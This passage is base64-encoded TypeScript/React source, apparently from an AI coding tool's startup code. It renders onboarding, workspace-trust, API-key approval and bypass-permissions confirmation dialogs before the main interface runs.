HByb3ZhbC5qcydcbmltcG9ydCB7IEFwcFN0YXRlUHJvdmlkZXIgfSBmcm9tICcuL3N0YXRlL0FwcFN0YXRlLmpzJ1xuaW1wb3J0IHsgb25DaGFuZ2VBcHBTdGF0ZSB9IGZyb20gJy4vc3RhdGUvb25DaGFuZ2VBcHBTdGF0ZS5qcydcbmltcG9ydCB7IG5vcm1hbGl6ZUFwaUtleUZvckNvbmZpZyB9IGZyb20gJy4vdXRpbHMvYXV0aFBvcnRhYmxlLmpzJ1xuaW1wb3J0IHtcbiAgZ2V0RXh0ZXJuYWxDbGF1ZGVNZEluY2x1ZGVzLFxuICBnZXRNZW1vcnlGaWxlcyxcbiAgc2hvdWxkU2hvd0NsYXVkZU1kRXh0ZXJuYWxJbmNsdWRlc1dhcm5pbmcsXG59IGZyb20gJy4vdXRpbHMvY2xhdWRlbWQuanMnXG5pbXBvcnQge1xuICBjaGVja0hhc1RydXN0RGlhbG9nQWNjZXB0ZWQsXG4gIGdldEN1c3RvbUFwaUtleVN0YXR1cyxcbiAgZ2V0R2xvYmFsQ29uZmlnLFxuICBzYXZlR2xvYmFsQ29uZmlnLFxufSBmcm9tICcuL3V0aWxzL2NvbmZpZy5qcydcbmltcG9ydCB7IHVwZGF0ZURlZXBMaW5rVGVybWluYWxQcmVmZXJlbmNlIH0gZnJvbSAnLi91dGlscy9kZWVwTGluay90ZXJtaW5hbFByZWZlcmVuY2UuanMnXG5pbXBvcnQgeyBpc0VudlRydXRoeSwgaXNSdW5uaW5nT25Ib21lc3BhY2UgfSBmcm9tICcuL3V0aWxzL2VudlV0aWxzLmpzJ1xuaW1wb3J0IHsgdHlwZSBGcHNNZXRyaWNzLCBGcHNUcmFja2VyIH0gZnJvbSAnLi91dGlscy9mcHNUcmFja2VyLmpzJ1xuaW1wb3J0IHsgdXBkYXRlR2l0aHViUmVwb1BhdGhNYXBwaW5nIH0gZnJvbSAnLi91dGlscy9naXRodWJSZXBvUGF0aE1hcHBpbmcuanMnXG5pbXBvcnQgeyBhcHBseUNvbmZpZ0Vudmlyb25tZW50VmFyaWFibGVzIH0gZnJvbSAnLi91dGlscy9tYW5hZ2VkRW52LmpzJ1xuaW1wb3J0IHR5cGUgeyBQZXJtaXNzaW9uTW9kZSB9IGZyb20gJy4vdXRpbHMvcGVybWlzc2lvbnMvUGVybWlzc2lvbk1vZGUuanMnXG5pbXBvcnQgeyBnZXRCYXNlUmVuZGVyT3B0aW9ucyB9IGZyb20gJy4vdXRpbHMvcmVuZGVyT3B0aW9ucy5qcydcbmltcG9ydCB7IGdldFNldHRpbmdzV2l0aEFsbEVycm9ycyB9IGZyb20gJy4vdXRpbHMvc2V0dGluZ3MvYWxsRXJyb3JzLmpzJ1xuaW1wb3J0IHtcbiAgaGFzQXV0b01vZGVPcHRJbixcbiAgaGFzU2tpcERhbmdlcm91c01vZGVQZXJtaXNzaW9uUHJvbXB0LFxufSBmcm9tICcuL3V0aWxzL3NldHRpbmdzL3NldHRpbmdzLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gY29tcGxldGVPbmJvYXJkaW5nKCk6IHZvaWQge1xuICBzYXZlR2xvYmFsQ29uZmlnKGN1cnJlbnQgPT4gKHtcbiAgICAuLi5jdXJyZW50LFxuICAgIGhhc0NvbXBsZXRlZE9uYm9hcmRpbmc6IHRydWUsXG4gICAgbGFzdE9uYm9hcmRpbmdWZXJzaW9uOiBNQUNSTy5WRVJTSU9OLFxuICB9KSlcbn1cbmV4cG9ydCBmdW5jdGlvbiBzaG93RGlhbG9nPFQgPSB2b2lkPihcbiAgcm9vdDogUm9vdCxcbiAgcmVuZGVyZXI6IChkb25lOiAocmVzdWx0OiBUKSA9PiB2b2lkKSA9PiBSZWFjdC5SZWFjdE5vZGUsXG4pOiBQcm9taXNlPFQ+IHtcbiAgcmV0dXJuIG5ldyBQcm9taXNlPFQ+KHJlc29sdmUgPT4ge1xuICAgIGNvbnN0IGRvbmUgPSAocmVzdWx0OiBUKTogdm9pZCA9PiB2b2lkIHJlc29sdmUocmVzdWx0KVxuICAgIHJvb3QucmVuZGVyKHJlbmRlcmVyKGRvbmUpKVxuICB9KVxufVxuXG4vKipcbiAqIFJlbmRlciBhbiBlcnJvciBtZXNzYWdlIHRocm91Z2ggSW5rLCB0aGVuIHVubW91bnQgYW5kIGV4aXQuXG4gKiBVc2UgdGhpcyBmb3IgZmF0YWwgZXJyb3JzIGFmdGVyIHRoZSBJbmsgcm9vdCBoYXMgYmVlbiBjcmVhdGVkIOKAlFxuICogY29uc29sZS5lcnJvciBpcyBzd2FsbG93ZWQgYnkgSW5rJ3MgcGF0Y2hDb25zb2xlLCBzbyB3ZSByZW5kZXJcbiAqIHRocm91Z2ggdGhlIFJlYWN0IHRyZWUgaW5zdGVhZC5cbiAqL1xuZXhwb3J0IGFzeW5jIGZ1bmN0aW9uIGV4aXRXaXRoRXJyb3IoXG4gIHJvb3Q6IFJvb3QsXG4gIG1lc3NhZ2U6IHN0cmluZyxcbiAgYmVmb3JlRXhpdD86ICgpID0+IFByb21pc2U8dm9pZD4sXG4pOiBQcm9taXNlPG5ldmVyPiB7XG4gIHJldHVybiBleGl0V2l0aE1lc3NhZ2Uocm9vdCwgbWVzc2FnZSwgeyBjb2xvcjogJ2Vycm9yJywgYmVmb3JlRXhpdCB9KVxufVxuXG4vKipcbiAqIFJlbmRlciBhIG1lc3NhZ2UgdGhyb3VnaCBJbmssIHRoZW4gdW5tb3VudCBhbmQgZXhpdC5cbiAqIFVzZSB0aGlzIGZvciBtZXNzYWdlcyBhZnRlciB0aGUgSW5rIHJvb3QgaGFzIGJlZW4gY3JlYXRlZCDigJRcbiAqIGNvbnNvbGUgb3V0cHV0IGlzIHN3YWxsb3dlZCBieSBJbmsncyBwYXRjaENvbnNvbGUsIHNvIHdlIHJlbmRlclxuICogdGhyb3VnaCB0aGUgUmVhY3QgdHJlZSBpbnN0ZWFkLlxuICovXG5leHBvcnQgYXN5bmMgZnVuY3Rpb24gZXhpdFdpdGhNZXNzYWdlKFxuICByb290OiBSb290LFxuICBtZXNzYWdlOiBzdHJpbmcsXG4gIG9wdGlvbnM/OiB7XG4gICAgY29sb3I/OiBUZXh0UHJvcHNbJ2NvbG9yJ11cbiAgICBleGl0Q29kZT86IG51bWJlclxuICAgIGJlZm9yZUV4aXQ/OiAoKSA9PiBQcm9taXNlPHZvaWQ+XG4gIH0sXG4pOiBQcm9taXNlPG5ldmVyPiB7XG4gIGNvbnN0IHsgVGV4dCB9ID0gYXdhaXQgaW1wb3J0KCcuL2luay5qcycpXG4gIGNvbnN0IGNvbG9yID0gb3B0aW9ucz8uY29sb3JcbiAgY29uc3QgZXhpdENvZGUgPSBvcHRpb25zPy5leGl0Q29kZSA/PyAxXG4gIHJvb3QucmVuZGVyKFxuICAgIGNvbG9yID8gPFRleHQgY29sb3I9e2NvbG9yfT57bWVzc2FnZX08L1RleHQ+IDogPFRleHQ+e21lc3NhZ2V9PC9UZXh0PixcbiAgKVxuICByb290LnVubW91bnQoKVxuICBhd2FpdCBvcHRpb25zPy5iZWZvcmVFeGl0Py4oKVxuICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgY3VzdG9tLXJ1bGVzL25vLXByb2Nlc3MtZXhpdCAtLSBleGl0IGFmdGVyIEluayB1bm1vdW50XG4gIHByb2Nlc3MuZXhpdChleGl0Q29kZSlcbn1cblxuLyoqXG4gKiBTaG93IGEgc2V0dXAgZGlhbG9nIHdyYXBwZWQgaW4gQXBwU3RhdGVQcm92aWRlciArIEtleWJpbmRpbmdTZXR1cC5cbiAqIFJlZHVjZXMgYm9pbGVycGxhdGUgaW4gc2hvd1NldHVwU2NyZWVucygpIHdoZXJlIGV2ZXJ5IGRpYWxvZyBuZWVkcyB0aGVzZSB3cmFwcGVycy5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHNob3dTZXR1cERpYWxvZzxUID0gdm9pZD4oXG4gIHJvb3Q6IFJvb3QsXG4gIHJlbmRlcmVyOiAoZG9uZTogKHJlc3VsdDogVCkgPT4gdm9pZCkgPT4gUmVhY3QuUmVhY3ROb2RlLFxuICBvcHRpb25zPzogeyBvbkNoYW5nZUFwcFN0YXRlPzogdHlwZW9mIG9uQ2hhbmdlQXBwU3RhdGUgfSxcbik6IFByb21pc2U8VD4ge1xuICByZXR1cm4gc2hvd0RpYWxvZzxUPihyb290LCBkb25lID0+IChcbiAgICA8QXBwU3RhdGVQcm92aWRlciBvbkNoYW5nZUFwcFN0YXRlPXtvcHRpb25zPy5vbkNoYW5nZUFwcFN0YXRlfT5cbiAgICAgIDxLZXliaW5kaW5nU2V0dXA+e3JlbmRlcmVyKGRvbmUpfTwvS2V5YmluZGluZ1NldHVwPlxuICAgIDwvQXBwU3RhdGVQcm92aWRlcj5cbiAgKSlcbn1cblxuLyoqXG4gKiBSZW5kZXIgdGhlIG1haW4gVUkgaW50byB0aGUgcm9vdCBhbmQgd2FpdCBmb3IgaXQgdG8gZXhpdC5cbiAqIEhhbmRsZXMgdGhlIGNvbW1vbiBlcGlsb2d1ZTogc3RhcnQgZGVmZXJyZWQgcHJlZmV0Y2hlcywgd2FpdCBmb3IgZXhpdCwgZ3JhY2VmdWwgc2h1dGRvd24uXG4gKi9cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiByZW5kZXJBbmRSdW4oXG4gIHJvb3Q6IFJvb3QsXG4gIGVsZW1lbnQ6IFJlYWN0LlJlYWN0Tm9kZSxcbik6IFByb21pc2U8dm9pZD4ge1xuICByb290LnJlbmRlcihlbGVtZW50KVxuICBzdGFydERlZmVycmVkUHJlZmV0Y2hlcygpXG4gIGF3YWl0IHJvb3Qud2FpdFVudGlsRXhpdCgpXG4gIGF3YWl0IGdyYWNlZnVsU2h1dGRvd24oMClcbn1cblxuZXhwb3J0IGFzeW5jIGZ1bmN0aW9uIHNob3dTZXR1cFNjcmVlbnMoXG4gIHJvb3Q6IFJvb3QsXG4gIHBlcm1pc3Npb25Nb2RlOiBQZXJtaXNzaW9uTW9kZSxcbiAgYWxsb3dEYW5nZXJvdXNseVNraXBQZXJtaXNzaW9uczogYm9vbGVhbixcbiAgY29tbWFuZHM/OiBDb21tYW5kW10sXG4gIGNsYXVkZUluQ2hyb21lPzogYm9vbGVhbixcbiAgZGV2Q2hhbm5lbHM/OiBDaGFubmVsRW50cnlbXSxcbik6IFByb21pc2U8Ym9vbGVhbj4ge1xuICBpZiAoXG4gICAgXCJwcm9kdWN0aW9uXCIgPT09ICd0ZXN0JyB8fFxuICAgIGlzRW52VHJ1dGh5KGZhbHNlKSB8fFxuICAgIHByb2Nlc3MuZW52LklTX0RFTU8gLy8gU2tpcCBvbmJvYXJkaW5nIGluIGRlbW8gbW9kZVxuICApIHtcbiAgICByZXR1cm4gZmFsc2VcbiAgfVxuXG4gIGNvbnN0IGNvbmZpZyA9IGdldEdsb2JhbENvbmZpZygpXG4gIGxldCBvbmJvYXJkaW5nU2hvd24gPSBmYWxzZVxuICBpZiAoXG4gICAgIWNvbmZpZy50aGVtZSB8fFxuICAgICFjb25maWcuaGFzQ29tcGxldGVkT25ib2FyZGluZyAvLyBhbHdheXMgc2hvdyBvbmJvYXJkaW5nIGF0IGxlYXN0IG9uY2VcbiAgKSB7XG4gICAgb25ib2FyZGluZ1Nob3duID0gdHJ1ZVxuICAgIGNvbnN0IHsgT25ib2FyZGluZyB9ID0gYXdhaXQgaW1wb3J0KCcuL2NvbXBvbmVudHMvT25ib2FyZGluZy5qcycpXG4gICAgYXdhaXQgc2hvd1NldHVwRGlhbG9nKFxuICAgICAgcm9vdCxcbiAgICAgIGRvbmUgPT4gKFxuICAgICAgICA8T25ib2FyZGluZ1xuICAgICAgICAgIG9uRG9uZT17KCkgPT4ge1xuICAgICAgICAgICAgY29tcGxldGVPbmJvYXJkaW5nKClcbiAgICAgICAgICAgIHZvaWQgZG9uZSgpXG4gICAgICAgICAgfX1cbiAgICAgICAgLz5cbiAgICAgICksXG4gICAgICB7IG9uQ2hhbmdlQXBwU3RhdGUgfSxcbiAgICApXG4gIH1cblxuICAvLyBBbHdheXMgc2hvdyB0aGUgdHJ1c3QgZGlhbG9nIGluIGludGVyYWN0aXZlIHNlc3Npb25zLCByZWdhcmRsZXNzIG9mIHBlcm1pc3Npb24gbW9kZS5cbiAgLy8gVGhlIHRydXN0IGRpYWxvZyBpcyB0aGUgd29ya3NwYWNlIHRydXN0IGJvdW5kYXJ5IOKAlCBpdCB3YXJucyBhYm91dCB1bnRydXN0ZWQgcmVwb3NcbiAgLy8gYW5kIGNoZWNrcyBDTEFVREUubWQgZXh0ZXJuYWwgaW5jbHVkZXMuIGJ5cGFzc1Blcm1pc3Npb25zIG1vZGVcbiAgLy8gb25seSBhZmZlY3RzIHRvb2wgZXhlY3V0aW9uIHBlcm1pc3Npb25zLCBub3Qgd29ya3NwYWNlIHRydXN0LlxuICAvLyBOb3RlOiBub24taW50ZXJhY3RpdmUgc2Vzc2lvbnMgKENJL0NEIHdpdGggLXApIG5ldmVyIHJlYWNoIHNob3dTZXR1cFNjcmVlbnMgYXQgYWxsLlxuICAvLyBTa2lwIHBlcm1pc3Npb24gY2hlY2tzIGluIGNsYXViYml0XG4gIGlmICghaXNFbnZUcnV0aHkocHJvY2Vzcy5lbnYuQ0xBVUJCSVQpKSB7XG4gICAgLy8gRmFzdC1wYXRoOiBza2lwIFRydXN0RGlhbG9nIGltcG9ydCtyZW5kZXIgd2hlbiBDV0QgaXMgYWxyZWFkeSB0cnVzdGVkLlxuICAgIC8vIElmIGl0IHJldHVybnMgdHJ1ZSwgdGhlIFRydXN0RGlhbG9nIHdvdWxkIGF1dG8tcmVzb2x2ZSByZWdhcmRsZXNzIG9mXG4gICAgLy8gc2VjdXJpdHkgZmVhdHVyZXMsIHNvIHdlIGNhbiBza2lwIHRoZSBkeW5hbWljIGltcG9ydCBhbmQgcmVuZGVyIGN5Y2xlLlxuICAgIGlmICghY2hlY2tIYXNUcnVzdERpYWxvZ0FjY2VwdGVkKCkpIHtcbiAgICAgIGNvbnN0IHsgVHJ1c3REaWFsb2cgfSA9IGF3YWl0IGltcG9ydChcbiAgICAgICAgJy4vY29tcG9uZW50cy9UcnVzdERpYWxvZy9UcnVzdERpYWxvZy5qcydcbiAgICAgIClcbiAgICAgIGF3YWl0IHNob3dTZXR1cERpYWxvZyhyb290LCBkb25lID0+IChcbiAgICAgICAgPFRydXN0RGlhbG9nIGNvbW1hbmRzPXtjb21tYW5kc30gb25Eb25lPXtkb25lfSAvPlxuICAgICAgKSlcbiAgICB9XG5cbiAgICAvLyBTaWduYWwgdGhhdCB0cnVzdCBoYXMgYmVlbiB2ZXJpZmllZCBmb3IgdGhpcyBzZXNzaW9uLlxuICAgIC8vIEdyb3d0aEJvb2sgY2hlY2tzIHRoaXMgdG8gZGVjaWRlIHdoZXRoZXIgdG8gaW5jbHVkZSBhdXRoIGhlYWRlcnMuXG4gICAgc2V0U2Vzc2lvblRydXN0QWNjZXB0ZWQodHJ1ZSlcblxuICAgIC8vIFJlc2V0IGFuZCByZWluaXRpYWxpemUgR3Jvd3RoQm9vayBhZnRlciB0cnVzdCBpcyBlc3RhYmxpc2hlZC5cbiAgICAvLyBEZWZlbnNlIGZvciBsb2dpbi9sb2dvdXQ6IGNsZWFycyBhbnkgcHJpb3IgY2xpZW50IHNvIHRoZSBuZXh0IGluaXRcbiAgICAvLyBwaWNrcyB1cCBmcmVzaCBhdXRoIGhlYWRlcnMuXG4gICAgcmVzZXRHcm93dGhCb29rKClcbiAgICB2b2lkIGluaXRpYWxpemVHcm93dGhCb29rKClcblxuICAgIC8vIE5vdyB0aGF0IHRydXN0IGlzIGVzdGFibGlzaGVkLCBwcmVmZXRjaCBzeXN0ZW0gY29udGV4dCBpZiBpdCB3YXNuJ3QgYWxyZWFkeVxuICAgIHZvaWQgZ2V0U3lzdGVtQ29udGV4dCgpXG5cbiAgICAvLyBJZiBzZXR0aW5ncyBhcmUgdmFsaWQsIGNoZWNrIGZvciBhbnkgbWNwLmpzb24gc2VydmVycyB0aGF0IG5lZWQgYXBwcm92YWxcbiAgICBjb25zdCB7IGVycm9yczogYWxsRXJyb3JzIH0gPSBnZXRTZXR0aW5nc1dpdGhBbGxFcnJvcnMoKVxuICAgIGlmIChhbGxFcnJvcnMubGVuZ3RoID09PSAwKSB7XG4gICAgICBhd2FpdCBoYW5kbGVNY3Bqc29uU2VydmVyQXBwcm92YWxzKHJvb3QpXG4gICAgfVxuXG4gICAgLy8gQ2hlY2sgZm9yIGNsYXVkZS5tZCBpbmNsdWRlcyB0aGF0IG5lZWQgYXBwcm92YWxcbiAgICBpZiAoYXdhaXQgc2hvdWxkU2hvd0NsYXVkZU1kRXh0ZXJuYWxJbmNsdWRlc1dhcm5pbmcoKSkge1xuICAgICAgY29uc3QgZXh0ZXJuYWxJbmNsdWRlcyA9IGdldEV4dGVybmFsQ2xhdWRlTWRJbmNsdWRlcyhcbiAgICAgICAgYXdhaXQgZ2V0TWVtb3J5RmlsZXModHJ1ZSksXG4gICAgICApXG4gICAgICBjb25zdCB7IENsYXVkZU1kRXh0ZXJuYWxJbmNsdWRlc0RpYWxvZyB9ID0gYXdhaXQgaW1wb3J0KFxuICAgICAgICAnLi9jb21wb25lbnRzL0NsYXVkZU1kRXh0ZXJuYWxJbmNsdWRlc0RpYWxvZy5qcydcbiAgICAgIClcbiAgICAgIGF3YWl0IHNob3dTZXR1cERpYWxvZyhyb290LCBkb25lID0+IChcbiAgICAgICAgPENsYXVkZU1kRXh0ZXJuYWxJbmNsdWRlc0RpYWxvZ1xuICAgICAgICAgIG9uRG9uZT17ZG9uZX1cbiAgICAgICAgICBpc1N0YW5kYWxvbmVEaWFsb2dcbiAgICAgICAgICBleHRlcm5hbEluY2x1ZGVzPXtleHRlcm5hbEluY2x1ZGVzfVxuICAgICAgICAvPlxuICAgICAgKSlcbiAgICB9XG4gIH1cblxuICAvLyBUcmFjayBjdXJyZW50IHJlcG8gcGF0aCBmb3IgdGVsZXBvcnQgZGlyZWN0b3J5IHN3aXRjaGluZyAoZmlyZS1hbmQtZm9yZ2V0KVxuICAvLyBUaGlzIG11c3QgaGFwcGVuIEFGVEVSIHRydXN0IHRvIHByZXZlbnQgdW50cnVzdGVkIGRpcmVjdG9yaWVzIGZyb20gcG9pc29uaW5nIHRoZSBtYXBwaW5nXG4gIHZvaWQgdXBkYXRlR2l0aHViUmVwb1BhdGhNYXBwaW5nKClcbiAgaWYgKGZlYXR1cmUoJ0xPREVTVE9ORScpKSB7XG4gICAgdXBkYXRlRGVlcExpbmtUZXJtaW5hbFByZWZlcmVuY2UoKVxuICB9XG5cbiAgLy8gQXBwbHkgZnVsbCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgYWZ0ZXIgdHJ1c3QgZGlhbG9nIGlzIGFjY2VwdGVkIE9SIGluIGJ5cGFzcyBtb2RlXG4gIC8vIEluIGJ5cGFzcyBtb2RlIChDSS9DRCwgYXV0b21hdGlvbiksIHdlIHRydXN0IHRoZSBlbnZpcm9ubWVudCBzbyBhcHBseSBhbGwgdmFyaWFibGVzXG4gIC8vIEluIG5vcm1hbCBtb2RlLCB0aGlzIGhhcHBlbnMgYWZ0ZXIgdGhlIHRydXN0IGRpYWxvZyBpcyBhY2NlcHRlZFxuICAvLyBUaGlzIGluY2x1ZGVzIHBvdGVudGlhbGx5IGRhbmdlcm91cyBlbnZpcm9ubWVudCB2YXJpYWJsZXMgZnJvbSB1bnRydXN0ZWQgc291cmNlc1xuICBhcHBseUNvbmZpZ0Vudmlyb25tZW50VmFyaWFibGVzKClcblxuICAvLyBJbml0aWFsaXplIHRlbGVtZXRyeSBhZnRlciBlbnYgdmFycyBhcmUgYXBwbGllZCBzbyBPVEVMIGVuZHBvaW50IGVudiB2YXJzIGFuZFxuICAvLyBvdGVsSGVhZGVyc0hlbHBlciAod2hpY2ggcmVxdWlyZXMgdHJ1c3QgdG8gZXhlY3V0ZSkgYXJlIGF2YWlsYWJsZS5cbiAgLy8gRGVmZXIgdG8gbmV4dCB0aWNrIHNvIHRoZSBPVGVsIGR5bmFtaWMgaW1wb3J0IHJlc29sdmVzIGFmdGVyIGZpcnN0IHJlbmRlclxuICAvLyBpbnN0ZWFkIG9mIGR1cmluZyB0aGUgcHJlLXJlbmRlciBtaWNyb3Rhc2sgcXVldWUuXG4gIHNldEltbWVkaWF0ZSgoKSA9PiBpbml0aWFsaXplVGVsZW1ldHJ5QWZ0ZXJUcnVzdCgpKVxuXG4gIGlmIChhd2FpdCBpc1F1YWxpZmllZEZvckdyb3ZlKCkpIHtcbiAgICBjb25zdCB7IEdyb3ZlRGlhbG9nIH0gPSBhd2FpdCBpbXBvcnQoJ3NyYy9jb21wb25lbnRzL2dyb3ZlL0dyb3ZlLmpzJylcbiAgICBjb25zdCBkZWNpc2lvbiA9IGF3YWl0IHNob3dTZXR1cERpYWxvZzxzdHJpbmc+KHJvb3QsIGRvbmUgPT4gKFxuICAgICAgPEdyb3ZlRGlhbG9nXG4gICAgICAgIHNob3dJZkFscmVhZHlWaWV3ZWQ9e2ZhbHNlfVxuICAgICAgICBsb2NhdGlvbj17b25ib2FyZGluZ1Nob3duID8gJ29uYm9hcmRpbmcnIDogJ3BvbGljeV91cGRhdGVfbW9kYWwnfVxuICAgICAgICBvbkRvbmU9e2RvbmV9XG4gICAgICAvPlxuICAgICkpXG4gICAgaWYgKGRlY2lzaW9uID09PSAnZXNjYXBlJykge1xuICAgICAgbG9nRXZlbnQoJ3Rlbmd1X2dyb3ZlX3BvbGljeV9leGl0ZWQnLCB7fSlcbiAgICAgIGdyYWNlZnVsU2h1dGRvd25TeW5jKDApXG4gICAgICByZXR1cm4gZmFsc2VcbiAgICB9XG4gIH1cblxuICAvLyBDaGVjayBmb3IgY3VzdG9tIEFQSSBrZXlcbiAgLy8gT24gaG9tZXNwYWNlLCBBTlRIUk9QSUNfQVBJX0tFWSBpcyBwcmVzZXJ2ZWQgaW4gcHJvY2Vzcy5lbnYgZm9yIGNoaWxkXG4gIC8vIHByb2Nlc3NlcyBidXQgaWdub3JlZCBieSBDbGF1ZGUgQ29kZSBpdHNlbGYgKHNlZSBhdXRoLnRzKS5cbiAgaWYgKHByb2Nlc3MuZW52LkFOVEhST1BJQ19BUElfS0VZICYmICFpc1J1bm5pbmdPbkhvbWVzcGFjZSgpKSB7XG4gICAgY29uc3QgY3VzdG9tQXBpS2V5VHJ1bmNhdGVkID0gbm9ybWFsaXplQXBpS2V5Rm9yQ29uZmlnKFxuICAgICAgcHJvY2Vzcy5lbnYuQU5USFJPUElDX0FQSV9LRVksXG4gICAgKVxuICAgIGNvbnN0IGtleVN0YXR1cyA9IGdldEN1c3RvbUFwaUtleVN0YXR1cyhjdXN0b21BcGlLZXlUcnVuY2F0ZWQpXG4gICAgaWYgKGtleVN0YXR1cyA9PT0gJ25ldycpIHtcbiAgICAgIGNvbnN0IHsgQXBwcm92ZUFwaUtleSB9ID0gYXdhaXQgaW1wb3J0KCcuL2NvbXBvbmVudHMvQXBwcm92ZUFwaUtleS5qcycpXG4gICAgICBhd2FpdCBzaG93U2V0dXBEaWFsb2c8Ym9vbGVhbj4oXG4gICAgICAgIHJvb3QsXG4gICAgICAgIGRvbmUgPT4gKFxuICAgICAgICAgIDxBcHByb3ZlQXBpS2V5XG4gICAgICAgICAgICBjdXN0b21BcGlLZXlUcnVuY2F0ZWQ9e2N1c3RvbUFwaUtleVRydW5jYXRlZH1cbiAgICAgICAgICAgIG9uRG9uZT17ZG9uZX1cbiAgICAgICAgICAvPlxuICAgICAgICApLFxuICAgICAgICB7IG9uQ2hhbmdlQXBwU3RhdGUgfSxcbiAgICAgIClcbiAgICB9XG4gIH1cblxuICBpZiAoXG4gICAgKHBlcm1pc3Npb25Nb2RlID09PSAnYnlwYXNzUGVybWlzc2lvbnMnIHx8XG4gICAgICBhbGxvd0Rhbmdlcm91c2x5U2tpcFBlcm1pc3Npb25zKSAmJlxuICAgICFoYXNTa2lwRGFuZ2Vyb3VzTW9kZVBlcm1pc3Npb25Qcm9tcHQoKVxuICApIHtcbiAgICBjb25zdCB7IEJ5cGFzc1Blcm1pc3Npb25zTW9kZURpYWxvZyB9ID0gYXdhaXQgaW1wb3J0KFxuICAgICAgJy4vY29tcG9uZW50cy9CeXBhc3NQZXJtaXNzaW9uc01vZGVEaWFsb2cuanMnXG4gICAgKVxuICAgIGF3YWl0IHNob3dTZXR1cERpYWxvZyhyb290LCBkb25lID0+IChcbiAgICAgIDxCeXBhc3NQZXJtaXNzaW9uc01vZGVEaWFsb2cgb25BY2NlcHQ9e2RvbmV9IC8+XG4gICAgKSlcbiAgfVxuXG4gIGlmIChmZWF0dXJlKCdUUkFOU0NSSVBUX0NMQVNTSUZJRVInKSkge1xuICAgIC8vIE9ubHkgc2hvdyB0aGUgb3B0LWluIGRpYWxvZyBpZiBhdXRvIG1vZGUgYWN0dWFsbHkgcmVzb2x2ZWQg4oCUIGlmIHRoZVxuICAgIC8vIGdhdGUgZGVuaWVkIGl0IChvcmcgbm90IGFsbG93bGlzdGVkLCBzZXR0aW5ncyBkaXNhYmxlZCksIHNob3dpbmdcbiAgICAvLyBjb25zZW50IGZvciBhbiB1bmF2YWlsYWJsZSBmZWF0dXJlIGlzIHBvaW50bGVzcy4gVGhlXG4gICAgLy8gdmVyaWZ5QXV0b01vZGVHYXRlQWNjZXNzIG5vdGlmaWNhdGlvbiB3aWxsIGV4cGxhaW4gd2h5IGluc3RlYWQuXG4gICAgaWYgKHBlcm1pc3Npb25Nb2RlID09PSAnYXV0bycgJiYgIWhhc0F1dG9Nb2RlT3B0SW4oKSkge1xuICAgICAgY29uc3QgeyBBdXRvTW9kZU9wdEluRGlhbG9nIH0gPSBhd2FpdCBpbXBvcnQoXG4gICAgICAgICcuL2NvbXBvbmVudHMvQXV0b01vZGVPcHRJbkRpYWxvZy5qcydcbiAgICAgIClcbiAgICAgIGF3YWl0IHNob3dTZXR1cERpYWxvZyhyb290LCBkb25lID0+IChcbiAgICAgICAgPEF1dG9Nb2RlT3B0SW5EaWFsb2dcbiAgICAgICAgICBvbkFjY2VwdD17ZG9uZX1cbiAgICAgICAgICBvbkRlY2xpbmU9eygpID0+IGdyYWNlZnVsU2h1dGRvd25TeW5jKDEpfVxuICAgICAgICAgIGRlY2xpbmVFeGl0c1xuICAgICAgICAvPlxuICAgICAgKSlcbiAgICB9XG4gIH1cblxuICAvLyAtLWRhbmdlcm91c2x5LWxvYWQtZGV2ZWxvcG1lbnQtY2hhbm5lbHMgY29uZmlybWF0aW9uLiBPbiBhY2NlcHQsIGFwcGVuZFxuICAvLyBkZXYgY2hhbm5lbHMgdG8gYW55IC0tY2hhbm5lbHMgbGlzdCBhbHJlYWR5IHNldCBpbiBtYWluLnRzeC4gT3JnIHBvbGljeVxuICAvLyBpcyBOT1QgYnlwYXNzZWQg4oCUIGdhdGVDaGFubmVsU2VydmVyKCkgc3RpbGwgcnVuczsgdGhpcyBmbGFnIG9ubHkgZXhpc3RzXG4gIC8vIHRvIHNpZGVzdGVwIHRoZSAtLWNoYW5uZWxzIGFwcHJvdmVkLXNlcnZlciBhbGxvd2xpc3QuXG4gIGlmIChmZWF0dXJlKCdLQUlST1MnKSB8fCBmZWF0dXJlKCdLQUlST1NfQ0hBTk5FTFMnKSkge1xuICAgIC8vIGdhdGVDaGFubmVsU2VydmVyIGFuZCBDaGFubmVsc05vdGljZSByZWFkIHRlbmd1X2hhcmJvciBhZnRlciB0aGlzXG4gICAgLy8gZnVuY3Rpb24gcmV0dXJucy4gQSBjb2xkIGRpc2sgY2FjaGUgKGZyZXNoIGluc3RhbGwsIG9yIGZpcnN0IHJ1biBhZnRlclxuICAgIC8vIHRoZSBmbGFnIHdhcyBhZGRlZCBzZXJ2ZXItc2lkZSkgZGVmYXVsdHMgdG8gZmFsc2UgYW5kIHNpbGVudGx5IGRyb3BzXG4gICAgLy8gY2hhbm5lbCBub3RpZmljYXRpb25zIGZvciB0aGUgd2hvbGUgc2Vzc2lvbiDigJQgZ2gjMzcwMjYuXG4gICAgLy8gY2hlY2tHYXRlX0NBQ0hFRF9PUl9CTE9DS0lORyByZXR1cm5zIGltbWVkaWF0ZWx5IGlmIGRpc2sgYWxyZWFkeSBzYXlzXG4gICAgLy8gdHJ1ZTsgb25seSBibG9ja3Mgb24gYSBjb2xkL3N0YWxlLWZhbHNlIGNhY2hlIChhd2FpdHMgdGhlIHNhbWUgbWVtb2l6ZWRcbiAgICAvLyBpbml0aWFsaXplR3Jvd3RoQm9vayBwcm9taXNlIGZpcmVkIGVhcmxpZXIpLiBBbHNvIHdhcm1zIHRoZVxuICAgIC8vIGlzQ2hhbm5lbHNFbmFibGVkKCkgY2hlY2sgaW4gdGhlIGRldi1jaGFubmVscyBkaWFsb2cgYmVsb3cuXG4gICAgaWYgKGdldEFsbG93ZWRDaGFubmVscygpLmxlbmd0aCA+IDAgfHwgKGRldkNoYW5uZWxzPy5sZW5ndGggPz8gMCkgPiAwKSB7XG4gICAgICBhd2FpdCBjaGVja0dhdGVfQ0FDSEVEX09SX0JMT0NLSU5HKCd0ZW5ndV9oYXJib3InKVxuICAgIH1cblxuICAgIGlmIChkZXZDaGFubmVscyAmJiBkZXZDaGFubmVscy5sZW5ndGggPiAwKSB7XG4gICAgICBjb25zdCBbeyBpc0NoYW5uZWxzRW5hYmxlZCB9LCB7IGdldENsYXVkZUFJT0F1dGhUb2tlbnMgfV0gPVxuICAgICAgICBhd2FpdCBQcm9taXNlLmFsbChbXG4gICAgICAgICAgaW1wb3J0KCcuL3NlcnZpY2VzL21jcC9jaGFubmVsQ